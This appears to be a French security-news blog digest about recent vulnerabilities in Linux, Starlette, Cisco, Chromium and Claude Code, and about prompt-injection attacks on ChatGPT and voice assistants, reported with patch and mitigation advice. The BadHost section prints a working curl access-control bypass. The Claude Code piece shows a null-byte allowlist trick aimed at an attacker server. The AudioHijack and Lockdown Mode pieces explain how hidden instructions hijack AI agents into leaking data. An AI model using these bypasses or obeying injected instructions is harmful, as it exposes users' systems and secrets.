La faille a d'ailleurs été reproduite deux fois, par deux équipes qui ne se sont pas concertées. Exodus l'a validé sur Debian Bookworm, Debian Trixie, Ubuntu 22.04 et 24.04. FuzzingLabs avait sorti sa propre version dès avril, par un chemin complètement différent, et l'avait fait tourner sur RHEL 10 juste avant le Pwn2Own de Berlin. Bref, ça marche, c'est bien documenté, et c'est public.

Mais le pire, c'est le calendrier de tout ce merdier puisque le patch a été mis à dispo le 5 février. Ensuite, y'a eu l'exploit de FuzzingLabs publié le 16 avril, suivi d'un write-up détaillé d'Exodus le 8 juin. Autrement dit, ça fait des mois que le correctif existe et des semaines que le code d'exploitation traîne dans la nature.

La seule chose qui vous sépare donc d'un compte root offert à n'importe qui, c'est d'avoir mis à jour ou pas.

Et cette faille s'ajoute à une sacrée série de failles root-local sur Linux ce printemps. Y'a eu Copy Fail , y'a eu Dirty Frag et sa variante Fragnesia ... à chaque fois le même refrain, un compte sans droit qui finit root sur une install standard. C'est devenu presque routinier, et Synacktiv pointe une raison plutôt pertinente en nous expliquant que c'est à cause (ou grâce ^^) aux outils d'IA qui décortiquent les patchs pour en sortir un exploit rapidos, qui marche direct avant même que la correction soit déployée partout.

Du coup, qu'est-ce que vous devez faire ?

Hé bien le plus simple d'abord, c'est de mettre à jour le noyau et vous rebootez. Ubuntu a corrigé 22.04, 24.04 et 25.10, Debian a patché Bookworm et Trixie (avec un backport en 6.1 pour Bullseye), et Red Hat, SUSE et Amazon Linux ont suivi. Comme la version corrigée exacte dépend de votre distrib, jetez donc un œil à l'advisory qui correspond à la vôtre.

Si vous gérez une machine où tournent des utilisateurs ou des workloads pas franchement de confiance, vous pouvez également couper le chemin d'attaque sans attendre le patch. La faille a besoin des user namespaces non privilégiés, un mécanisme qui laisse un process lambda se bricoler son propre bac à sable avec des droits root à l'intérieur.

Et nf_tables comme ces namespaces, sur la plupart des desktops et pas mal de serveurs, c'est actif par défaut, donc oui, sans le patch vous êtes probablement exposé.

Pour les désactiver, le plus universel c'est user.max_user_namespaces=0 : un sysctl -w user.max_user_namespaces=0 pour tout de suite, et la même ligne dans un fichier genre /etc/sysctl.d/99-userns.conf pour que ça tienne au reboot.

Ça marche sur toutes les distros mais c'est radical, ça coupe tous les user namespaces, même ceux de root. Sur Debian et les vieilles Ubuntu, t'as plus fin avec kernel.unprivileged_userns_clone=0 qui ne vise que les non-privilégiés. Et sur Ubuntu 24.04, bonne nouvelle, c'est déjà restreint par défaut via AppArmor. Attention quand même, ça peut casser des trucs qui s'appuient dessus, genre le bac à sable de Chrome ou Flatpak.

À faire en connaissance de cause, donc.

La parade en vrai : une fois les user namespaces non privilégiés coupés, un compte lambda qui tente d'en créer un (le prérequis de l'exploit) se fait jeter sur un "No space left on device".

Après la bonne nouvelle, c'est que d'après les chercheurs, aucune exploitation dans la nature pour cette faille précise n'a été constaté à ce jour. Après comme sa cousine Copy Fail, elle, a déjà atterri au catalogue des failles activement exploitées de la CISA, ne traînez pas trop. Bref, comme d'hab padpanik, vous mettez à jour, vous rebootez, et on n'en parle plus.

Source

ChatGPT a gagné un réglage qui ne plaira pas à tout le monde. Un "mode confinement", Lockdown Mode dans le texte, qui débranche volontairement une partie des fonctions de l'assistant pour réduire le risque de fuite de données vers l'extérieur.

L'ennemi, ici, porte un nom : l'injection de prompt. Le principe de cette attaque est plutôt vicieux, puisqu'un pirate planque des instructions dans une page web ou dans un document anodin, et qu'au moment où ChatGPT lit ce contenu pour vous répondre, il avale ces ordres cachés et les exécute sans que rien ne s'affiche à l'écran.

Ce qui inquiète OpenAI, c'est la suite. Une consigne dissimulée peut très bien ordonner à l'assistant d'aller récupérer vos informations sensibles, mots de passe ou documents personnels, avant de les renvoyer en douce vers un serveur que l'attaquant contrôle. On appelle ça l'exfiltration de données. C'est tout le scénario que le mode confinement cherche à rendre impossible, en bouclant les sorties plutôt qu'en filtrant les entrées.

Concrètement, il débranche à peu près tout ce qui relie ChatGPT au reste du web. La navigation en direct ? Coupée. Elle est ramenée au contenu déjà enregistré dans les serveurs d'OpenAI, ce qui fait qu'aucune requête ne file vers internet pendant que vous discutez.

Le ménage continue. Plus de récupération d'images depuis le web, plus de téléchargement de fichiers, plus de Deep Research, cet outil qui part compiler automatiquement des dizaines de sources, et plus d'Agent Mode, ce système qui laisse ChatGPT cliquer et agir tout seul sur des sites à votre place comme s'il était assis derrière votre clavier.

Vos propres fichiers, eux, passent toujours. Vous gardez la possibilité de téléverser images et documents à la main, et OpenAI précise que le mode ne touche ni à la mémoire de ChatGPT, ni au partage de conversations, ni à la façon dont vos échanges peuvent servir à entraîner les modèles maison.

L'activation est simple. Direction les réglages, rubrique sécurité, puis sécurité avancée, et vous basculez un interrupteur. C'est ouvert à tous les comptes personnels, y compris la version gratuite, ainsi qu'aux comptes ChatGPT Business en libre-service.

Sauf que voilà, OpenAI le précise clairement : ce mode n'est pas fait pour tout le monde. Il vise les gens et les boîtes qui manipulent des données sensibles et qui acceptent de sacrifier une partie du confort d'usage contre des garde-fous nettement plus serrés.

Et surtout, l'entreprise reconnaît la grosse limite du truc. Le mode confinement n'empêche en rien les injections de se glisser dans le contenu que ChatGPT analyse, il se contente de verrouiller les issues par lesquelles un pirate pourrait aspirer vos données une fois qu'il a pris la main. La faille de fond, elle, est toujours là.

Reconnaître publiquement qu'on pose une barrière sans régler le problème de fond, c'est honnête. Ça montre surtout que l'injection de prompt est un casse-tête que personne n'a encore su désamorcer.

Source : TechCrunch

Le Catalyst SD-WAN Manager de Cisco, anciennement appelé vManage, c'est la salle de contrôle depuis laquelle une grande entreprise règle, surveille et met à jour à distance le réseau entier qui relie ses dizaines d'agences, usines ou boutiques entre elles, et c'est ce logiciel très sensible qui se retrouve aujourd'hui troué par une faille déjà exploitée dans la nature.

Le pire ? Aucun correctif.

Référencée CVE-2026-20245 et notée 7,8 sur 10 sur l'échelle CVSS, le barème qui classe la dangerosité des failles de zéro à dix, la vulnérabilité permet à un attaquant déjà titulaire d'un compte d'administrateur réseau, le profil baptisé netadmin chez Cisco, de téléverser un fichier piégé que le logiciel contrôle mal, puis d'exécuter ses propres commandes en root, c'est-à-dire avec les pleins pouvoirs sur la machine.

Et toutes les versions sont concernées.

Peu importe que la console tourne sur les serveurs de l'entreprise, dans les offres Cloud et Cloud-Pro hébergées par Cisco, ou dans la déclinaison FedRAMP réservée aux administrations américaines, le trou est exactement le même partout.

Il y a plus inquiétant, car dans plusieurs cas bien réels observés par Cisco, l'attaque ne s'est pas arrêtée à la console : elle a poussé une modification de configuration jusqu'aux routeurs et boîtiers installés dans chaque site distant, ce qui revient, quand on tient la salle de contrôle, à tenir d'un coup l'ensemble du réseau de la boîte.

Une nuance, quand même.

Il faut déjà être authentifié pour déclencher la faille, sauf que Cisco conseille du coup d'installer en priorité les correctifs sortis le 14 mai pour deux autres vulnérabilités, CVE-2026-20182 et CVE-2026-20127, dont l'enchaînement offre justement à un assaillant les fameux droits netadmin qui ouvrent ensuite la porte au reste.

En attendant un vrai patch, dont la date n'est pas connue, l'éditeur se contente de publier des indicateurs de compromission, en clair des traces à repérer dans les journaux du serveur pour savoir si on s'est déjà fait avoir.

Et ce n'est pas la première. C'est même la sixième faille SD-WAN exploitée chez Cisco depuis janvier, et le deuxième zero-day, une faille attaquée avant l'arrivée du moindre correctif, en à peine deux mois.

Bref, un accès root activement exploité sur un équipement aussi central, et toujours pas de rustine, ça commence à faire vraiment beaucoup.

Source : The Register

FROST, c'est le nom d'une nouvelle attaque qui transforme votre SSD en mouchard. Des chercheurs de l'université de Graz, avec Daniel Gruss au générique (un des cerveaux derrière Spectre et Meltdown), ont montré qu'un simple site web peut deviner quels autres sites et applis vous avez ouverts et cela juste en mesurant les micro-ralentissements de votre disque. Oui, je sais c'est geudin !

Le principe ?

Quand vous ouvrez la page piégée, elle crée discrètement un gros fichier sur votre disque via une API du navigateur baptisée OPFS ( Origin Private File System ), présente aujourd'hui dans tous les navigateurs modernes. C'est ce fichier qui sert de sonde.

Le JavaScript passe son temps à lire dedans et chronomètre chaque lecture au poil de cul et dès qu'une autre appli ou un autre onglet sollicite le SSD, ça crée un embouteillage minuscule sur le disque... que le code peut repérer sous forme de ralentissement.

Sauf que des variations de timing, ça reste du bruit illisible pour un humain. Du coup les chercheurs ont balancé toutes ces mesures dans un réseau de neurones (un CNN, le même genre de bidule qui reconnaît des choses sur des photos).

Entraîné sur des tonnes de traces, le modèle apprend alors la signature de chaque appli et de chaque site web et voilà comment à partir de ça, il devine ce que vous avez ouvert !

Sur un Mac, dans les tests présentés cette semaine, le truc retrouve le bon site parmi un top 50 dans près de 9 cas sur 10, et grimpe à plus de 95% pour reconnaître les applications ouvertes. Le tout sans la moindre action de votre part, à part avoir cliqué sur le lien. C'est totalement invisible.

Mais avant de débrancher votre PC, renvoyer votre box internet et vous lancer à temps complet dans la culture de chanvre, faut relativiser, car cette attaque a plusieurs limites... Le hic numéro un, c'est que le fichier-sonde doit être énorme, genre 1 Go ou plus, et un site qui se met à bouffer autant de place sur votre disque, ça se remarque vite. Le hic numéro deux, c'est que ce fichier doit être sur le même SSD que le navigateur sinon l'attaque est aveugle.

Les chercheurs ont fait tourner l'attaque complète sur un Mac M2, et démontré que la brique de base fonctionne aussi sous Linux (sans dérouler la classification complète), mais n'ont pas testé Windows. Et surtout, personne n'a encore vu FROST exploité dans la nature.

Perso, je trouve que cette attaque est trop bancale / incertaine pour faire du tracking de masse, en tout cas aujourd'hui...

Pensez donc à fermer les onglets dont vous ne vous servez plus comme ça, y'a moins d'activité à mesurer et pour les plus paranoïaques, vous pouvez toujours vous mettre à surveiller les fichiers OPFS créés par des sites web inconnus. Après comme tout repose sur du JavaScript, bloquer le JS sur les sites pas nets (avec un NoScript ou équivalent) ça coupe aussi l'attaque à la racine.

Les chercheurs proposent aussi aux éditeurs de navigateurs de plafonner la taille de ces fichiers OPFS. Ce serait dans la lignée de ce que fait par exemple Firefox avec le pistage, qui a récemment musclé son anti-fingerprinting .

Bref, pas de panique, personne ne fouille votre SSD en douce mais la technique reste intéressante. Les détails techniques complets sont dans le papier de recherche , qui sera présenté à la conférence DIMVA en juillet. Bonne lecture !

Source

Les chercheurs de X41 D-Sec viennent de divulguer une faille critique baptisée BadHost (CVE-2026-48710) dans Starlette, le framework Python qui sert de fondation à FastAPI, vLLM , LiteLLM et une grande partie des serveurs MCP basés sur FastAPI.

325 millions de téléchargements par semaine, et il suffit d'injecter un seul caractère dans le header HTTP "Host" pour contourner les contrôles d'accès path-based qui lisent "request.url.path" dont autant dire que beaucoup de déploiements d'agents IA en production tournent en ce moment avec une porte d'entrée très mal verrouillée.

Le proof of concept publié par OSTIF donne ceci :

curl -i -H 'Host: foo' http://target/admin # 403, bloqué
curl -i -H 'Host: foo?' http://target/admin # 200, ça passe !!

Et c'est tout ! Un simple point d'interrogation collé au Host header, et l'endpoint "/admin" qui jusqu'alors filtrait les non-authentifiés s'ouvre alors aussi facilement que le claque-merde de mes haters ^^.

Donc si votre infra utilise FastAPI, vLLM ou LiteLLM exposés directement en ASGI (uvicorn, hypercorn, granian) sans reverse proxy strict devant, vous pouvez tester votre exposition immédiatement grâce au scanner de BadHost développé par Nemesis et X41 D-Sec.

Niveau mécanique, Starlette reconstruit l'objet "request.url" en concaténant la valeur du header "Host" avec le path de la requête, puis re-parse le tout. Sauf que la valeur de "Host" n'est jamais validée donc si vous y injectez un "/", un "?" ou un "#", vous décalez la frontière entre path, query et fragment au moment du re-parse.

Du coup, le routeur Starlette dispatche sur le vrai path de la requête HTTP (donc votre endpoint sensible s'exécute bien), mais les middlewares qui lisent "request.url.path" voient simplement un path empoisonné qui ne correspond plus à rien d'interdit.

Donc le contrôle d'accès saute et le code derrière tourne quand même. On est sur un score CVSS de 7/10 et la boite de sécu Secwest estime même que cette note est largement sous-estimée... En gros c'est super grave !

Car la portée réelle ce sont surtout les serveurs MCP qui peuvent stocker ou manipuler des tokens et identifiants pour accéder aux ressources externes auxquelles les agents IA se connectent : bases de données, comptes mail, calendriers, S3, webhooks...etc

Bref, le genre de "coffre-fort" que vous ne voulez pas voir ouvert via un header HTTP à la con malformé. Markus Vervier de X41 D-Sec a même publié un petit échantillon de ce que leurs scanners ont déjà trouvé en production : Des bases de données d'essais cliniques chez des biopharmas, des données de vérification d'identité avec PII en temps réel, des accès SSH à des équipements industriels via bastion, des boites mails complètes en lecture/écriture, des listes de souscripteurs CMS, des topologies AWS complètes avec metric queries.

Bref, l'écosystème agents IA vient de passer en mode naturiste !

Pour régler ce problème, vous devez donc mettre à jour vers Starlette 1.0.1 ou supérieur, dans tous vos déploiements LLM qui l'intègrent... Et là c'est le bordel parce qu'il y en a partout : Dans les images Docker, les virtualenvs et les artefacts "vendorisés" un peu partout... Donc faut tout rebuilder.

Et si vous avez du code custom, l'OSTIF recommande aussi de remplacer request.url.path par request.scope["path"] partout où une décision de sécurité est prise.

En gros, lire la valeur non reconstruite est le "fix" qui survivra aux prochaines versions du bug, parce que croyez-moi, ça reviendra à coup sûr !

Maintenant, côté infra, X41 D-Sec et OSTIF indiquent que nginx, Apache httpd et Cloudflare rejettent le PoC par défaut, mais ça ne doit pas vous empêcher de vérifier votre config. Donc ne traitez votre reverse proxy comme une mitigation qu'après l'avoir testé explicitement avec le scanner Nemesis.

Au-delà du correctif technique, BadHost rappelle une mécanique qu'on a déjà vue avec la faille RCE de llama-cpp-python à savoir que la chaîne d'approvisionnement de l'IA ne tient que sur quelques mainteneurs bénévoles qui prennent des risques personnels énormes pour patcher proprement.

Kludex, le mainteneur de Starlette, est actuellement sous une avalanche de reports depuis des mois. L'audit qui a permis de trouver le bug a par ailleurs été financé par OSTIF et AWS et sans ça, BadHost serait encore probablement dans la nature pour un an voire plus avant d'être découvert plus naturellement.

Donc si votre boîte fait tourner du LLM en prod via FastAPI, vLLM ou LiteLLM, vous avez aujourd'hui 2 choses urgentes à faire : 1/ passer votre infra dans le scanner Nemesis, et 2/ envoyer un petit don à Kludex pour le soutenir !

Sources : Ars Technica , OSTIF

Voler un mot de passe ? C'est presque devenu accessoire. Le FBI a lancé une alerte sur Kali365, un kit de piratage qui s'introduit dans les comptes Microsoft 365 d'une entreprise sans jamais avoir besoin du mot de passe, ni du fameux code de la double authentification.

La protection que beaucoup imaginent solide ne sert plus à grand-chose ici. Hélas.

Kali365 n'est pas un virus classique. C'est ce qu'on appelle un kit de phishing en location : un service clé en main, vendu un peu comme un abonnement à un logiciel, sauf qu'il sert à pirater. Repéré depuis avril et distribué via la messagerie Telegram, il permet à n'importe quel apprenti pirate de lancer une campagne sans compétences techniques particulières. Le kit fournit les emails piégés rédigés par une IA, des modèles de campagne tout prêts, et même un tableau de bord pour suivre ses victimes en temps réel, la totale donc.

Cette méthode porte un nom, le device code phishing, et elle est redoutable de simplicité. La victime reçoit un email qui imite un service de partage de documents, avec un petit code et une consigne : aller sur une page Microsoft pour rentrer le code. Sauf que cette page-là est la vraie page de Microsoft, du coup zéro méfiance.

Rien à signaler du côté de l'antivirus, rien de suspect dans l'adresse du site. La personne entre le code en toute confiance. Et là, sans s'en rendre compte, elle vient d'autoriser l'appareil du pirate à se connecter à son compte.

À partir de là, l'attaquant récupère un jeton d'accès, ce que le jargon appelle un token OAuth. C'est un laissez-passer numérique : une fois qu'on l'a, plus besoin du mot de passe ni d'un nouveau code pour entrer.

Avec ce jeton, le pirate conserve un accès continu à la boîte mail Outlook, à la messagerie Teams et au stockage OneDrive de sa victime. Et comme il n'a jamais touché au mot de passe, le réinitialiser en urgence ne bloque même pas l'intrus.

Le procédé n'a rien de marginal. Sur des campagnes de ce genre, des chercheurs en sécurité ont compté des centaines de comptes piégés chaque jour, avec une nette préférence pour les profils liés à la paie et à la comptabilité, là où l'argent circule le plus.

Le FBI conseille aux entreprises de carrément désactiver ce mode de connexion par code dans les réglages d'administration de Microsoft. Encore faut-il que les services informatiques prennent le temps de s'en occuper.

Source : The Register

Vous supprimez une clé API Google qui a fuité , et l'interface vous confirme que c'est bien réglé, que la clé ne fonctionne plus. Alors vous commencez à vous détendre en vous disant que vous avez bien fait votre boulot.

BAH NAN !

Car vous ne le savez pas, mais cette clé va continuer de fonctionner encore durant 23 minutes. C'est en tout cas ce qu'ont mesuré les chercheurs d'Aikido Security en testant ce truc tout bête de révoquer une clé, puis de taper sur l'API en boucle pour voir quand ça s'arrêtait vraiment.

Et résultat des courses, une clé API classique survit en moyenne 16 minutes après sa suppression, et jusqu'à 23 minutes dans le pire des cas. Cela veut dire que pendant tout ce temps, un attaquant qui a récupéré votre clé peut continuer de l'utiliser peinard. Et vous n'avez aucun moyen de couper plus vite, ni même de savoir quand ça s'arrête pour de bon.

Ce sont les clés API de Schrödinger le bordel... Techniquement comme vous vous en doutez, c'est surtout une histoire de propagation car Google ne tue pas la clé d'un coup sur tous ses serveurs, mais l'info se diffuse petit à petit, et chaque serveur arrête de l'accepter à son rythme. Le souci, c'est que ce délai et largement suffisant par exemple pour vider un bucket pendant que vous pensez que le danger est écarté.

Le plus beau, c'est que Google sait parfaitement faire vite quand il veut puisque les clés de compte de service, elles, sont coupées en 5 secondes. et les clés Gemini récentes en 1 minute. Du coup, ces 16 minutes de moyenne sur les vieilles clés API n'ont rien d'une fatalité technique... c'est juste un choix ! Aikido a bien sûr remonté le problème, et Google a bizarrement classé le ticket en « won't fix », en expliquant que ce délai de propagation était une propriété connue du système, et pas une faille de sécurité.

Donc si vous gérez des clés Google en prod, partez du principe qu'une clé compromise reste exploitable une bonne demi-heure après sa révocation. Et surtout, mettez en place des plafonds de dépenses bien serrés sur votre projet parce que le vrai cauchemar, c'est moins l'accès que la facture qui débarque ensuite. On a déjà vu des devs se prendre des notes à cinq chiffres à cause d'une clé qui traîne, et des utilisateurs Google Cloud facturés par erreur .

Source : Aikido Security

Anthropic, l'entreprise derrière l'IA Claude, a corrigé en douce deux failles dans le bac à sable réseau de Claude Code, son assistant de programmation. Un bac à sable, dans le jargon, c'est un enclos de sécurité : il est censé empêcher l'outil de se connecter à des serveurs non autorisés, pour éviter qu'il envoie vos données n'importe où. Sauf que pendant cinq mois et demi, cet enclos avait une porte dérobée.

La plus récente faille est en fait une jolie bidouille. Claude Code vous laisse définir une liste blanche, par exemple "autorise uniquement les connexions vers *.google.com". Un attaquant envoyait alors une adresse du genre "serveur-pirate.com<a target="_blank" rel="noreferrer noopener" href="http://0.google.com/">0.google.com", avec un caractère invisible (un octet nul) glissé au milieu.

Le filtre de sécurité, lui, lit la fin de la chaîne, voit ".google.com" et valide. Mais le système d'exploitation s'arrête au caractère invisible et se connecte en réalité à serveur-pirate.com. Le filtre et le système ne lisent pas la même adresse. La faille est là.

Combinée à une injection de prompt (le fait de cacher des instructions piégées dans un texte que l'IA va lire), la faille permettait d'exfiltrer des choses sensibles : identifiants cloud, jetons d'accès GitHub, accès aux services internes.

En clair, un dépôt de code piégé pouvait pousser Claude Code à expédier vos secrets vers le serveur de l'attaquant. Le trou a traversé plus de 130 versions de l'outil avant d'être bouché fin mars. Tout utilisateur de Claude Code qui faisait confiance à son bac à sable réseau était donc exposé sans le savoir, du développeur isolé à l'équipe en entreprise.

C'est le chercheur Aonan Guan, de Wyze Labs, qui a remonté le problème. Et sa phrase résume tout : un bac à sable troué, c'est pire que pas de bac à sable du tout. Celui qui n'a aucune protection le sait et reste prudent. Celui qui se croit protégé baisse la garde.

Anthropic affirme avoir trouvé et corrigé la faille de son côté avant le signalement, mais le souci, c'est qu'il n'y a eu ni CVE (le numéro de référence public qui catalogue une faille), ni note dans le journal des versions. Moche moche.

Source : The Register

Une faille planquée pendant 9 ans dans le noyau Linux, voilà ce que les chercheurs de Qualys viennent de déterrer. Son petit nom, c'est ssh-keysign-pwn ou DirtyDecrypt (CVE-2026-46333 pour les intimes), et elle permet à n'importe quel utilisateur local sans privilèges de passer root, de lire votre /etc/shadow et de piquer les clés SSH privées de votre serveur.

Et ce bug dormait là depuis novembre 2016, c'est-à-dire depuis la version 4.10 du kernel. Personne ne l'avait jamais vu et autant vous dire que 9 ans, en cybersécu, c'est une éternité !!

Le truc se cache dans une fonction au nom barbare, __ptrace_may_access(). En gros, quand un processus privilégié abandonne ses droits, y'a une micro-fenêtre, le temps d'un battement de cils, où il reste "accrochable" via ptrace. Vous combinez ça avec l'appel système pidfd_getfd() et hop, vous récupérez les fichiers ouverts d'un process root.

Et l'exploit disponible vise des binaires SUID que tout le monde a sur sa machine, genre ssh-keysign, chage, pkexec ou accounts-daemon.

Du coup, première chose à faire : vous mettez à jour, genre rapidos ! Linus Torvalds a poussé le correctif et si vous ne pouvez pas patcher tout de suite, faut taper la commande sysctl -w kernel.yama.ptrace_scope=2 qui a pour effet de refermer la porte en attendant.

Niveau distros, ça touche à peu près tout le monde, d'Ubuntu 14.04 jusqu'à la 26.04, en passant par Debian, Fedora et toute la famille Red Hat.

Et le plus gênant, c'est que ssh-keysign-pwn, c'est la 4e faille kernel en moins de trois semaines. On a eu CopyFail , Dirty Frag début mai, puis Fragnesia juste après, et maintenant celle-ci. Aïe aïe aïe ! Je commence à me lasser, sérieux ^^.

Le noyau Linux prend cher en ce moment et comme les exploits fonctionnels sont déjà publics, le compte à rebours est lancé pour tous ceux qui traînent !

Alors après tout le monde va vous parler des cybercriminels et des serveurs compromis, et c'est vrai, faut patcher. Mais pour moi, ce genre de faille, c'est aussi une clé qui sert aux bidouilleurs pour reprendre la main sur leur propre matériel. Votre routeur verrouillé, votre objet connecté que le fabricant a laissé tomber depuis quelques années, ce bon vieux NAS dont plus personne ne livre de firmware... une faille comme ça, c'est parfois le seul moyen de le faire revivre !

Bref, faites vos mises à jour. Et gardez en tête que ces mêmes failles qui font flipper les sysadmins, ce sont aussi celles qui redonnent vie au matos verrouillé qui n'avait pas d'autre avenir que de finir à la déchetterie.

Source

Bon, alors là, Google a fait encore trèèèès fort.

Mercredi matin, la firme de Mountain View a carrément publié sur son propre bug tracker Chromium le code d'exploitation d'une faille... qui n'est toujours pas corrigée ! Et pas une petite vulnérabilité oubliée dans un coin, hein, mais une vraie faille de la mort qui tue que la chercheuse indépendante Lyra Rebane leur avait remontée gentiment et en privé . Ça fait 29 mois (2 ans et demi, les matheux ^^) et elle attend toujours un patch !

Le truc vise la Browser Fetch API, un mécanisme qui permet à un site de télécharger de gros fichiers en arrière-plan, genre une longue vidéo. Sauf qu'en la détournant, le code ouvre un service worker qui reste actif en permanence. Du coup, un site malveillant que vous visitez peut glisser un bout de JavaScript qui transforme votre navigateur en relais, tout cela à votre insu.

Parfait donc pour devenir un proxy anonyme pour des inconnus, un nœud de botnet pour des attaques DDoS, ou se faire surveiller quand on surfe sur le net... Et le plus vicelard, c'est que la connexion se rouvre ou reste ouverte même après avoir redémarré le navigateur, voire la machine entière.

Côté victimes, on parle de Chrome, de Microsoft Edge et de quasiment tous les navigateurs basés sur Chromium. Et que vous soyez sur Windows, macOS ou Linux, le bug s'en moque royalement. Rebane a confirmé que Brave, Opera, Vivaldi et Arc sont vulnérables eux aussi.

Bien sûr, Firefox et Safari, eux, passent clairement au travers, parce qu'ils ne supportent pas ce fameux téléchargement en arrière-plan. Bref, encore une fois, ne pas suivre le troupeau de mouton team-Chromium, ça paye !! Si vous cherchiez une raison de plus de larguer Google , la voilà servie sur un plateau.

Perso, ce qui me sidère, c'est que la faille a été classée S1, le deuxième niveau de gravité le plus élevé chez Google et il ne s'est toujours rien passé 29 mois après. C'est ouf quand même... Le post sur le tracker Chromium a bien été supprimé mais on le trouve toujours sur quelques archives / miroirs...

Après l'impact de cette faille, reste quand même limité car elle ne franchit aucune frontière... par exemple, elle ne donne pas accès à vos mails ni au reste de votre ordinateur, mais juste à ce qu'un navigateur sait déjà faire (ce qui est déjà énorme !!). Mais elle pourrait permettre à des cybercriminels de se constituer une flotte de milliers, voire de millions de navigateurs détournés, et le jour où une autre faille tombe, vous avez déjà l'armée prête à dégainer !! La bombe est là, il manque juste la mèche en fait !

Et pour se protéger ?

Bah franchement, pas grand-chose à faire côté utilisateur tant qu'il n'y a pas de patch. Si vous voulez mon avis bancal, le seul signal visible que vous pouvez guetter, c'est un menu de téléchargement qui s'ouvre tout seul sans raison, donc méfiez-vous donc si ça arrive. Maintenant si le sujet vous angoisse vraiment, basculer sur un navigateur pour les adultes ^^, genre Firefox ou Safari règlera la question d'un coup !

Faut pas oublier que Google passe son temps à pointer du doigt les éditeurs trop lents à patcher, alors j'comprends vraiment pas comment ils ont pu merder à ce point.

Source

Le 23 juillet 2025, le Luxembourg entier s'est retrouvé sans réseau mobile, sans téléphone fixe et sans communications d'urgence pendant plus de trois heures.

Dix mois plus tard, on connaît enfin la cause grâce au média The Record : une faille jusque-là inconnue dans le logiciel d'un routeur Huawei.

Le mécanisme est presque bête. Du trafic réseau spécialement fabriqué a été envoyé vers des routeurs d'entreprise Huawei, et ce trafic les a fait redémarrer en boucle, sans jamais s'arrêter.

Pas besoin de pirater quoi que ce soit ni de voler un mot de passe, il suffisait d'envoyer les bons paquets au bon endroit. Ces routeurs équipaient l'infrastructure de POST Luxembourg, l'opérateur télécom historique du pays. Quand le cœur du réseau redémarre en continu, tout s'effondre derrière. Aucune charge criminelle n'a été retenue, faute de pouvoir désigner un responsable.

Le plus inquiétant, c'est ce qu'on ne sait toujours pas. La vulnérabilité n'a jamais été publiée. Aucun identifiant CVE, le numéro de référence standard qui permet de cataloguer une faille de sécurité, n'a été déposé dans les dix mois qui ont suivi.

On ignore si le trou a été bouché, combien d'autres opérateurs utilisent les mêmes routeurs, et si des équipements identiques sont encore vulnérables aujourd'hui quelque part. Les enquêteurs pensent même que POST n'était pas une cible : le trafic malveillant ne faisait peut-être que transiter par son réseau.

Et là, impossible de ne pas penser à FX Lindner. Ce chercheur en sécurité allemand avait alerté Huawei dès 2012 sur la fragilité de leurs équipements réseau, code bâclé et failles à la pelle.

Huawei avait minimisé. Treize ans plus tard, la même histoire se rejoue, sauf qu'elle ne touche plus un labo de test mais un pays entier, services d'urgence compris.

Ça repose la question de fond, celle de la souveraineté des infrastructures télécom européennes. L'Europe parle de souveraineté numérique depuis des années, surtout sur le cloud et l'IA. Mais les tuyaux eux-mêmes, les routeurs qui font transiter les appels et les données, restent souvent du matériel dont le code source échappe totalement aux opérateurs.

Faire tourner le réseau national d'un pays sur des routeurs dont on ne maîtrise ni le code ni le calendrier de correctifs, c'est un pari risqué. Et le Luxembourg vient de découvrir ce que ça coûte quand le pari échoue. Bref, treize ans d'avertissements ignorés, et il aura fallu un pays débranché trois heures pour que le sujet revienne sur la table.

Source : The Record

Meng Chen, doctorant à l'université Zhejiang, vient de prouver avec son équipe qu'on pouvait complétement détourner un assistant vocal IA avec un simple son que vous prendriez probablement pour un simple parasite. Avec sa bidouille, il a ainsi réussi à pousser les agents vocaux commerciaux de Microsoft et de Mistral à exécuter des actions que personne ne leur avait demandées.

Gloups !

L'attaque s'appelle AudioHijack, et ça consiste à planquer des ordres dans un fichier audio, une vidéo, un clip musical, une note vocale. Comme ça, le modèle qui l'écoutera vous obéira à VOUS, plutôt qu'à l'utilisateur. C'est comme une injection de prompt sauf que celle-ci s'entend à peine.

"Une demi-heure pour entraîner le signal, et comme il ignore le contexte, vous attaquez quand vous voulez, peu importe ce que dit l'utilisateur", résume Chen dans son interview . Reste qu'il faut un accès complet au modèle pour fabriquer le signal, ce que Microsoft et Mistral ne donnent pas. Alors il suffit à l'attaquant de l'entraîner sur un modèle ouvert qu'il contrôle, puis de rejouer le même signal contre le modèle fermé et en général, ça se passe bien parce qu'ils partagent souvent les mêmes briques audio.

Voilà et ça une fois que c'est fait, il suffit de "polluer" une source, et d'attendre qu'un poisson morde à l'hameçon...

Et le menu des possibilités est plutôt copieux vous allez voir. Le modèle peut par exemple prétendre qu'il ne sait pas traiter l'audio, refuser vos demandes, sortir de fausses infos, glisser un lien piégé, changer de personnalité, ou pire, déclencher des outils tout seul. Genre envoyer un mail avec vos données, ou télécharger un fichier depuis un serveur de l'attaquant s'il en a la possibilité technique (coucou MCP). Ainsi, sur les treize modèles testés, la réussite moyenne grimpe entre 79 et 96% selon le méfait.

Mais pour fabriquer ce signal vérolé, l'attaquant doit sentir dans quelle direction "pousser" le son pour rapprocher le modèle de son but, un peu comme suivre une pente vers le bas.

Sauf que ces modèles transforment l'audio en le découpant par exemple. Et la pente peut du coup devenir un escalier, puis du plat, voire une arête cassante... c'est clairement impossible à suivre ! Mais l'équipe de Chen a réussi à reconstituer cette pente à grand coups d'échantillonnage, puis a maquillé le bruit en réverbération.

Et comme notre oreille est trop limitée pour flairer l'anomalie, ça passe tranquille... Je vous avais déjà parlé de l'injection de prompt avec une simple doc empoisonnée qui pilote une IA , mais là, ça pourrait même surgir de la bande son d'une simple vidéo Youtube...

Et pour se protéger de ça, y'a pas grand chose à faire à part faire relire le prompt final... Le plus sûr, c'est donc plutôt de ne pas brancher votre assistant vocal sur vos mails, vos fichiers ou vos paiements, et de regarder plus en détails ce qui se passe s'il refuse soudainement une tâche ou vous sort un lien après avoir écouté un audio douteux...

De leur côté, les modèles fermés d'OpenAI ou d'Anthropic sont plus durs à viser, faute d'accès à l'architecture mais comme ils s'appuient aussi sur des briques audio open source, l'équipe de Meng pense que l'attaque pourrait se faire aussi.

Méfiance donc...

Source

Bon, accrochez vous les amis, car ça enchaine sec sur le kernel Linux en ce moment... Le chercheur William Bowling de l'équipe V12 security vient de lâcher Fragnesia (CVE-2026-46300, CVSS 7.8), un nouvel exploit kernel Linux qui permet d'obtenir un accès root sur toutes les distros majeures, et ce, 8 jours seulement après le patch de Dirty Frag.

